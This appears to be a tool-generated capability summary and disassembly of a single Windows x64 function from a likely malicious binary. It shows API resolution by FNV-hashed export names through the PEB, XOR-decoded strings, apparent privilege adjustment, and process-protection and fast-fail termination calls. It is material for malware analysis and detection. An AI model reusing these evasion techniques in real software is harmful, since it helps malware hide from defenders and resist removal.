Function at 0x14038d180
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x5d8]
sub rsp, 0x6d8
mov rsi, rdx
xor r14d, r14d
mov dword [rbp + 0x620], r14d
xor edx, edx
mov r8d, 0x4d0
lea rcx, [rbp + 0x100]
call fcn.14041c2d0
mov dword [rbp + 0x130], 0x10001f
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14038d256
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14038d256
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov ecx, dword [rcx + rbx]
add rcx, r10
mov r8d, 0xb1322109
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x14038d251
nop dword [rax]
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x14038d230
cmp r8d, 0xa836678a
je 0x14038d25b
test r9d, r9d
jne 0x14038d210
mov rax, qword [rax]
jmp 0x14038d1e0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
lea rdx, [rbp + 0x100]
mov rcx, rsi
call r8
movabs rdx, 0xcecf73d866913dbc
movabs rbx, 0x76b6cc4e347fb36d
movabs r15, 0x591e2449b604932
movabs r12, 0x468ff74c3351f43a
movabs r13, 0xdf4c0ad193079530
movabs rdi, 0xaa802796466b0e4d
movabs r8, 0xc97b233b86682d54
movabs r9, 0x2ae0538e2dceac5e
movabs r10, 0x973d8cb658d7ff53
movabs r11, 0x77ea9c2d9d04b7b8
test eax, eax
jne 0x14038d973
mov rcx, qword [0x14049bfa8]
mov qword [rbp + 0x620], r15
mov rax, qword [rbp + 0x620]
mov qword [rsp + 0x20], rax
mov qword [rbp + 0x620], r12
mov rax, qword [rbp + 0x620]
mov qword [rsp + 0x28], rax
mov qword [rbp + 0x620], r13
mov rax, qword [rbp + 0x620]
mov qword [rsp + 0x30], rax
mov qword [rbp + 0x620], rdx
mov rax, qword [rbp + 0x620]
mov qword [rsp + 0x38], rax
mov qword [rbp + 0x620], r8
mov rax, qword [rbp + 0x620]
mov qword [rsp + 0x40], rax
mov qword [rbp + 0x620], r9
mov rax, qword [rbp + 0x620]
mov qword [rsp + 0x48], rax
mov qword [rbp + 0x620], r10
mov rax, qword [rbp + 0x620]
mov qword [rsp + 0x50], rax
mov qword [rbp + 0x620], r11
mov rax, qword [rbp + 0x620]
mov qword [rsp + 0x58], rax
mov qword [rbp + 0x620], rbx
mov rax, qword [rbp + 0x620]
mov qword [rsp + 0x60], rax
mov qword [rbp + 0x620], rdi
mov rax, qword [rbp + 0x620]
mov qword [rsp + 0x68], rax
movabs rax, 0x76e38737ce3c7371
mov qword [rbp + 0x620], rax
mov rax, qword [rbp + 0x620]
mov qword [rbp + 0x20], rax
movabs rax, 0x23cbab3e5622a166
mov qword [rbp + 0x620], rax
mov rax, qword [rbp + 0x620]
mov qword [rbp + 0x28], rax
movabs rax, 0xaa2d56a1fc73fe43
mov qword [rbp + 0x620], rax
mov rax, qword [rbp + 0x620]
mov qword [rbp + 0x30], rax
movabs rax, 0x92bc03a807b155c8
mov qword [rbp + 0x620], rax
mov rax, qword [rbp + 0x620]
mov qword [rbp + 0x38], rax
movabs rax, 0xa15b0e1bee1c5835
mov qword [rbp + 0x620], rax
mov rax, qword [rbp + 0x620]
mov qword [rbp + 0x40], rax
movabs rax, 0x4b8f3fd25ebed82a
mov qword [rbp + 0x620], rax
mov rax, qword [rbp + 0x620]
mov qword [rbp + 0x48], rax
movabs rax, 0xcb5efec504a59a37
mov qword [rbp + 0x620], rax
mov rax, qword [rbp + 0x620]
mov qword [rbp + 0x50], rax
movabs rax, 0x2b99f84cf876dfcc
mov qword [rbp + 0x620], rax
mov rax, qword [rbp + 0x620]
mov qword [rbp + 0x58], rax
movabs rax, 0x58c5a82f510ddb19
mov qword [rbp + 0x620], rax
mov rax, qword [rbp + 0x620]
mov qword [rbp + 0x60], rax
movabs rax, 0xaa802796461b7e2e
mov qword [rbp + 0x620], rax
mov rax, qword [rbp + 0x620]
mov qword [rbp + 0x68], rax
movdqa xmm0, xmmword [rbp + 0x20]
pxor xmm0, xmmword [rsp + 0x20]
movdqa xmmword [rsp + 0x20], xmm0
movdqa xmm1, xmmword [rsp + 0x30]
pxor xmm1, xmmword [rbp + 0x30]
movdqa xmmword [rsp + 0x30], xmm1
movdqa xmm0, xmmword [rsp + 0x40]
pxor xmm0, xmmword [rbp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmm1, xmmword [rsp + 0x50]
pxor xmm1, xmmword [rbp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
movdqa xmm0, xmmword [rsp + 0x60]
pxor xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
mov r9d, ntohs
lea r8, [rsp + 0x20]
lea rdx, [rbp - 0x28]
call fcn.140398980
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], r14
mov qword [rbp - 0x70], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x78], 0
movups xmmword [rbp - 0x48], xmm0
mov qword [rbp - 0x38], r14
mov qword [rbp - 0x30], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x48], 0
mov dword [rbp + 0x620], 1
lea r8, [rbp - 0x28]
cmp qword [rbp - 0x10], 0x10
cmovae r8, qword [rbp - 0x28]
mov r9, qword [rbp - 0x18]
xor edx, edx
lea rcx, [rbp - 0x48]
call fcn.14035ab50
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x58], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov dword [rbp + 0x620], 0x801
lea rdx, [rbp - 0x68]
call fcn.14035b6c0
nop
mov rdx, qword [rbp - 0x50]
cmp rdx, 0x10
jb 0x14038d5f4
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14038d5ef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14038e209
call fcn.140419458
mov qword [rbp - 0x58], r14
mov qword [rbp - 0x50], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x68], 0
mov dword [rbp + 0x620], 0x800
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x14038d649
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14038d644
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14038e20f
call fcn.140419458
mov qword [rbp - 0x38], r14
mov qword [rbp - 0x30], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x48], 0
mov byte [rbp + 0x628], 0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14038d6f6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14038d6f6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0xb8346aa5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14038d6f1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14038d6d0
cmp r8d, 0x8bded949
je 0x14038d6fb
test r9d, r9d
jne 0x14038d6b0
mov rax, qword [rax]
jmp 0x14038d680
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
lea r9, [rbp + 0x628]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x14]
call r10
mov dword [rbp + 0x638], 1
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14038d7c6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14038d7c6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0xb53465ec
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14038d7c1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14038d7a0
cmp r8d, 0xe126414d
je 0x14038d7cb
test r9d, r9d
jne 0x14038d780
mov rax, qword [rax]
jmp 0x14038d750
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov r9d, 4
lea r8, [rbp + 0x638]
lea edx, [r9 + 0x19]
mov rcx, 0xffffffffffffffff
call r10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14038d886
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14038d886
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xb634677f
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14038d881
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14038d860
cmp r8d, 0xf33f6a29
je 0x14038d88b
test r9d, r9d
jne 0x14038d840
mov rax, qword [rax]
jmp 0x14038d810
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov edx, dword [0x7ffe0014]
mov rcx, 0xffffffffffffffff
call r8
mov ecx, 0xa
call fcn.140419954
lea rcx, [rax + 1]
call fcn.140419458
mov ecx, 4
call fcn.1404196c8
mov rbx, rax
mov edx, 4
mov rcx, rax
call fcn.140419458
mov dword [rbx], 0xa
mov ecx, 4
call fcn.1404196c8
mov rbx, rax
mov edx, 4
mov rcx, rax
call fcn.140419458
mov edx, 4
mov rcx, rbx
call fcn.140419458
mov ecx, dword [0x7ffe0014]
int 0x29
mov qword [rbp - 0x78], r14
mov qword [rbp - 0x70], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x78], 0
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x14038d963
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14038d95e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14038e215
call fcn.140419458
mov qword [rbp - 0x18], r14
mov qword [rbp - 0x10], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x28], 0
lea rax, [0x14038e9f0]
mov qword [rbp + 0x180], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14038da16
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14038da16
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x893f11a7
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14038da11
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14038d9f0
cmp r8d, 0xe34cf6c0
je 0x14038da1b
test r9d, r9d
jne 0x14038d9d0
mov rax, qword [rax]
jmp 0x14038d9a0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
lea rdx, [rbp + 0x100]
mov rcx, rsi
call r8
test eax, eax
je 0x14038db00
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14038dad6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14038dad6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x801eafd1
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14038dad1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14038dab0
cmp r8d, 0x77f0f4c2
je 0x14038dadb
test r9d, r9d
jne 0x14038da90
mov rax, qword [rax]
jmp 0x14038da60
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, rsi
call rdx
cmp eax, 0xffffffff
jne 0x14038e1ef
mov rcx, qword [0x14049bfa8]
mov qword [rbp + 0x628], r15
mov rax, qword [rbp + 0x628]
mov qword [rsp + 0x20], rax
mov qword [rbp + 0x628], r12
mov rax, qword [rbp + 0x628]
mov qword [rsp + 0x28], rax
mov qword [rbp + 0x628], r13
mov rax, qword [rbp + 0x628]
mov qword [rsp + 0x30], rax
movabs rax, 0xcecf73d866913dbc
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x628]
mov qword [rsp + 0x38], rax
movabs rax, 0xc97b233b86682d54
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x628]
mov qword [rsp + 0x40], rax
movabs rax, 0x2ae0538e2dceac5e
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x628]
mov qword [rsp + 0x48], rax
movabs rax, 0x973d8cb658d7ff53
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x628]
mov qword [rsp + 0x50], rax
movabs rax, 0x77ea9c2d9d04b7b8
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x628]
mov qword [rsp + 0x58], rax
movabs rax, 0x76b6cc4e347fb36d
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x628]
mov qword [rsp + 0x60], rax
movabs rax, 0xaa802796466b0e4d
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x628]
mov qword [rsp + 0x68], rax
movabs rax, 0x76e38737ce3c7371
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x628]
mov qword [rbp + 0x70], rax
movabs rax, 0x23cbab3e5622a166
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x628]
mov qword [rbp + 0x78], rax
movabs rax, 0xaa2d56a1fc73fe43
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x628]
mov qword [rbp + 0x80], rax
movabs rax, 0x92bc03a807b155c8
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x628]
mov qword [rbp + 0x88], rax
movabs rax, 0xa15b0e1bee1c5835
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x628]
mov qword [rbp + 0x90], rax
movabs rax, 0x4b8f3fd25ebed82a
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x628]
mov qword [rbp + 0x98], rax
movabs rax, 0xcb5efec504a59a37
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x628]
mov qword [rbp + 0xa0], rax
movabs rax, 0x2b99f84cf876dfcc
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x628]
mov qword [rbp + 0xa8], rax
movabs rax, 0x58c5a82f510ddb19
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x628]
mov qword [rbp + 0xb0], rax
movabs rax, 0xaa802796461b7e2e
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x628]
mov qword [rbp + 0xb8], rax
movdqa xmm0, xmmword [rbp + 0x70]
pxor xmm0, xmmword [rsp + 0x20]
movdqa xmmword [rsp + 0x20], xmm0
movdqa xmm1, xmmword [rsp + 0x30]
pxor xmm1, xmmword [rbp + 0x80]
movdqa xmmword [rsp + 0x30], xmm1
movdqa xmm0, xmmword [rsp + 0x40]
pxor xmm0, xmmword [rbp + 0x90]
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmm1, xmmword [rsp + 0x50]
pxor xmm1, xmmword [rbp + 0xa0]
movdqa xmmword [rsp + 0x50], xmm1
movdqa xmm0, xmmword [rsp + 0x60]
pxor xmm0, xmmword [rbp + 0xb0]
movdqa xmmword [rsp + 0x60], xmm0
mov r9d, 0x1e
lea r8, [rsp + 0x20]
lea rdx, [rsp + 0x78]
call fcn.140398980
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x58], r14
mov qword [rbp - 0x50], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x68], 0
movups xmmword [rbp - 8], xmm0
mov qword [rbp + 8], r14
mov qword [rbp + 0x10], reloc.WS2_32.dll_ntohs
mov byte [rbp - 8], 0
mov ebx, dword [rbp + 0x620]
or ebx, 4
mov dword [rbp + 0x620], ebx
lea r8, [rsp + 0x78]
cmp qword [rbp - 0x70], 0x10
cmovae r8, qword [rsp + 0x78]
mov r9, qword [rbp - 0x78]
xor edx, edx
lea rcx, [rbp - 8]
call fcn.14035ab50
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xc0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xd0], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
bts ebx, 0xa
mov dword [rbp + 0x620], ebx
lea rdx, [rbp + 0xc0]
call fcn.14035b6c0
nop
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0x10
jb 0x14038de88
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14038de82
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14038e21b
call fcn.140419458
nop
test bl, 8
je 0x14038ded2
and ebx, 0xfffffff7
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0x10
jb 0x14038ded2
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14038decc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14038e221
call fcn.140419458
nop
test bl, 4
je 0x14038df12
mov rdx, qword [rbp + 0x10]
cmp rdx, 0x10
jb 0x14038df12
inc rdx
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14038df0d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14038e227
call fcn.140419458
mov byte [rbp + 0x630], 0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14038dfa6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14038dfa6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0x929bb5a1
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14038dfa1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14038df80
cmp r8d, 0x687b8545
je 0x14038dfab
test r9d, r9d
jne 0x14038df60
mov rax, qword [rax]
jmp 0x14038df30
mov edx, dword [rdi + 0x1c]
add rdx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rdx + rax*4]
add r10, r11
lea r9, [rbp + 0x630]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x14]
call r10
mov dword [rsp + 0x70], 1
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14038e066
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14038e066
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0x6c0b64bb
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14038e061
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14038e040
cmp r8d, 0x895b070
je 0x14038e06b
test r9d, r9d
jne 0x14038e020
mov rax, qword [rax]
jmp 0x14038dff0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov r9d, 4
lea r8, [rsp + 0x70]
lea edx, [r9 + 0x19]
mov rcx, 0xffffffffffffffff
call r10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14038e126
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14038e126
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x6b0b6328
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14038e121
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14038e100
cmp r8d, 0xdb27853a
je 0x14038e12b
test r9d, r9d
jne 0x14038e0e0
mov rax, qword [rax]
jmp 0x14038e0b0
mov edx, dword [rdi + 0x1c]
add rdx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rdx + rax*4]
add r8, r10
mov edx, dword [0x7ffe0014]
mov rcx, 0xffffffffffffffff
call r8
mov ecx, 0xa
call fcn.140419954
lea rcx, [rax + 1]
call fcn.140419458
mov ecx, 4
call fcn.1404196c8
mov rbx, rax
mov edx, 4
mov rcx, rax
call fcn.140419458
mov dword [rbx], 0xa
mov ecx, 4
call fcn.1404196c8
mov rbx, rax
mov edx, 4
mov rcx, rax
call fcn.140419458
mov edx, 4
mov rcx, rbx
call fcn.140419458
mov ecx, dword [0x7ffe0014]
int 0x29
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x14038e1ef
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14038e1ea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14038e203
call fcn.140419458
add rsp, 0x6d8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.140428d2c
nop
call fcn.140428d2c
nop
call fcn.140428d2c
nop
call fcn.140428d2c
nop
call fcn.140428d2c
nop
call fcn.140428d2c
nop
call fcn.140428d2c
int3